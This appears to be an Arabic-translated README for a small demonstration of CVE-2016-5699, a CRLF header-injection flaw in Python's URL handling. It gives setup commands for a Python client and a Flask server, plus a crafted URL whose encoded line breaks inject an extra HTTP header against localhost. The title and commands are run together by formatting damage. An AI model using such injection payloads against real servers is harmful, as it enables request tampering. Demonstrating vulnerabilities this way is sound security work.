shajinzheng/cve-2016-5699-jinzheng-shaتقرير دورة القراءة
تقرير دورة القراءة
يُشير هذا المستودع إلى مثال.
simple-client.py هو سكربت بايثون لتقديم طلبات HTTP إلى العنوان المُمرَّر من وسيط سطر الأوامر.
simple-server.py يستخدم Flask لبناء خادم HTTP بسيط لطباعة ترويسات الطلبات المستلمة.
pip install virtualenvvirtualenv. على سبيل المثال:
virtualenv -p [path_to_one_Python_version] venv-one-versionvirtualenv -p [path_to_the_other_Python_version] venv-the-other-versionflask في كلتا البيئتين. فعّل البيئة المقابلة، ثم pip install flasksource ./venv-one-version/bin/activatepython simple-server.pypython simple-client.py http://127.0.0.1:8000/test-url لعنوان URL سليمpython simple-client.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:8000/test-url لعنوان URL خبيث